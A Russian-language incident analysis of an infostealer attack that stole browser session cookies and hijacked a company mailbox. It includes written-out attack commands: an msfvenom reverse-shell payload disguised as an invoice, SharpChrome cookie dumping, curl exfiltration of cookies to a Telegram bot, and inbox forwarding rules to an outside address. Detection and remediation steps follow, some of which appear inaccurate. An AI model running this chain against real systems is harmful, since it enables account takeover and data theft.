Короткая версия истории звучит просто: пришло письмо, бухгалтер открыла вложение, конкурент начал узнавать условия тендеров раньше времени. Собственник сменил пароль от почты — это стандартная первая реакция на подозрение о взломе. Но утечка продолжалась ещё три недели. Разберём, почему смена пароля в этой ситуации была равносильна тому, чтобы поменять замок на входной двери, забыв, что грабитель уже сидит внутри с ключом от сейфа.
Что произошло технически
Вредонос из вложения не был классическим кейлоггером или паролекрадом в узком смысле. Он относится к классу infostealer / session hijacker — вредоносов, чья главная цель не пароль, а токен активной сессии: cookie, refresh-токен OAuth или сохранённый в браузере ключ авторизации. Именно так работают распространённые в 2023–2025 годах семейства вроде RedLine, Lumma, StealC, а также более узкоспециализированные инструменты группировок threat-actor-групп (в новостном инфоповоде это, например, набор, приписываемый группе TAG-195 с бэкдором ChonkyChicken).
Принцип один: после того как жертва открыла документ, вредонос:
- получает закрепление в системе (persistence) — через задачу планировщика, автозагрузку или, что чаще в корпоративной среде, через вредоносное расширение браузера, установленное в обход политики или через подмену локальной политики Chrome/Edge;
- читает файл профиля браузера — базу
Cookies(SQLite) иLocal State, где хранится ключ шифрования DPAPI; - расшифровывает и выгружает валидные сессионные cookie почтового веб-интерфейса (OWA, Gmail, корпоративный портал) на C2-сервер атакующего.
Как это эксплуатируется — по шагам
Ниже — типичная цепочка, воспроизводимая практически один в один в подобных инцидентах, с инструментами, которые для этого реально используются на этапах разведки, доставки и постэксплуатации.
1. Разведка почтового периметра
nmap -p 25,80,443,465,587,993 -sV mail.target-company.ru
PORT STATE SERVICE VERSION
443/tcp open https Microsoft Exchange OWA
587/tcp open smtp Microsoft ESMTP
993/tcp open imaps Dovecot imapdДополнительно снимается баннер автодискавера, чтобы понять, какая почтовая платформа используется (Exchange Online, локальный Exchange, Google Workspace) — от этого зависит, какой сценарий персистентности после кражи сессии будет применяться дальше.
curl -s https://autodiscover.target-company.ru/autodiscover/autodiscover.xml \
-H "Content-Type: text/xml"2. Подготовка вложения
Для доставки чаще всего используется офисный документ с макросом или архив с LNK/HTA-загрузчиком, замаскированный под «акт сверки» или «счёт-фактуру» — тема выбирается под профиль компании (снабжение, тендеры). Пример генерации боевой нагрузки на этапе имитации атаки (red team):
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=203.0.113.10 LPORT=443 -f exe -o akt_sverki.exe
macro_pack.exe -t EXCEL -o -G akt_sverki.xlsm -i payload.ps1В реальных атаках такого класса payload после запуска не сбрасывает классический meterpreter, а сразу разворачивает stealer-модуль и модуль для установки браузерного расширения через прямую запись в реестр (ключ ExtensionSettings/ExtensionInstallForcelist) или подмену профиля.
3. Кража сессии из браузера
Ключевой шаг — не украсть пароль, а вытащить уже расшифрованные cookie авторизации. Инструменты вроде SharpChrome (пакет GhostPack) или самописные PowerShell-скрипты делают это через DPAPI:
SharpChrome.exe cookies /browser:chrome /format:json > cookies.json
# Фрагмент вывода:
{
"host": ".outlook.office.com",
"name": "ESTSAUTHPERSISTENT",
"value": "AwABAAAA...redacted...",
"expires": "2025-05-01T10:00:00Z"
}Токен ESTSAUTHPERSISTENT (или его аналог в других почтовых системах) — это именно тот «электронный пропуск», который продолжает действовать после смены пароля учётной записи, если сессию не отозвали принудительно.
4. Эксфильтрация и закрепление
Похищенные cookie и токены обычно уходят не на классический C2 с открытым IP, а через легитимные API-эндпоинты, которые не режутся корпоративными фильтрами — чаще всего Telegram Bot API:
curl -s -X POST "https://api.telegram.org/bot123456:AAExxx/sendDocument" \
-F chat_id=987654321 \
-F document=@cookies.jsonПосле получения валидной сессии атакующий просто импортирует cookie в свой браузер (расширение EditThisCookie или headless Chrome с профилем) и заходит в почтовый веб-интерфейс жертвы без пароля и без MFA — сессия уже прошла аутентификацию.
5. Закрепление контроля — правило пересылки
Оказавшись внутри почтового ящика, атакующий не читает письма вручную каждый день — он ставит автоматическое правило пересылки на внешний адрес. В Exchange/M365 это делается одной командой, если есть доступ к сессии с правами пользователя:
New-InboxRule -Name "System Sync" -Mailbox buhgalter@target-company.ru `
-ForwardTo "reports@external-domain.com" -DeleteMessage $false
Set-Mailbox buhgalter@target-company.ru `
-ForwardingSmtpAddress reports@external-domain.com -DeliverToMailboxAndForward $trueПравило часто маскируется под нейтральным именем и не удаляет письма из ящика, поэтому пользователь ничего не замечает — переписка просто дублируется наружу.
Полутехнические пруфы: что искать в логах
- Sign-in logs (Azure AD / Google Workspace admin console) — вход с нетипичного User-Agent (headless Chrome, отсутствие типичных заголовков реального браузера), «impossible travel» — вход из региона, где физически никого из сотрудников нет;
- Exchange admin audit log — события
New-InboxRule,Set-Mailboxс параметромForwardingSmtpAddress, выполненные не администратором, а самим пользователем в нетипичное время; - Browser extension inventory — расширение без записи в официальном сторе, с broad-разрешением
<all_urls>и правом чтения cookies ("permissions": ["cookies", "webRequest", "<all_urls>"]в manifest.json); - Сетевой трафик — исходящие HTTPS-запросы к
api.telegram.orgили к малоизвестным доменам с сертификатами Let's Encrypt, выпущенными за сутки до инцидента.
Что и почему сработало бы дальше
Если бы аудит не остановил цепочку на этом этапе, развитие атаки шло бы по предсказуемому сценарию:
- из перехваченной переписки атакующий получает не только цены тендеров, но и контакты контрагентов — открывается возможность BEC-атаки (Business Email Compromise): письмо «от имени» бухгалтера с просьбой сменить реквизиты для оплаты;
- украденная сессия часто даёт доступ не только к почте, но и к связанным SaaS-сервисам через SSO (1С-Отчётность, CRM, банк-клиент с email-подтверждением) — единая точка входа превращается в единую точку компрометации;
- расширение в браузере, однажды закрепившееся, продолжает работать на любом сайте, куда заходит бухгалтер — включая клиент-банк и личный кабинет ФНС, если для входа используется тот же браузерный профиль.
Как закрыли дыру
Работа велась в два дня и включала не косметическую смену пароля, а полный отзыв доверия к скомпрометированной сессии и среде:
- Принудительный отзыв всех активных сессий и refresh-токенов на уровне идентити-провайдера:
# Microsoft 365 / Entra ID Revoke-MgUserSignInSession -UserId buhgalter@target-company.ru # Google Workspace gam user buhgalter@target-company.ru signout - Аудит и удаление скрытых правил пересылки во всех ящиках компании, а не только в одном:
Get-Mailbox -ResultSize Unlimited | Where-Object {$_.ForwardingSmtpAddress -ne $null} | Select Name, ForwardingSmtpAddress Get-InboxRule -Mailbox * | Where-Object {$_.ForwardTo -ne $null} - Полное удаление вредоносного расширения и сброс профиля браузера, блокировка установки расширений через политику:
# Групповая политика / Registry для Chrome [HKLM\SOFTWARE\Policies\Google\Chrome] "ExtensionInstallBlocklist"="*" "ExtensionInstallAllowlist"=["odbeighdgeidbjjnjjfoefndijmgejd"] - Включение MFA с обязательным условным доступом (Conditional Access), блокирующим legacy-аутентификацию, которая как раз позволяет обходить MFA через украденные токены:
New-ConditionalAccessPolicy -DisplayName "Block Legacy Auth" ` -Conditions @{ClientAppTypes="exchangeActiveSync","other"} ` -GrantControls @{BuiltInControls="block"} - Настройка алертов о входе с нового устройства или необычного региона в мессенджер ру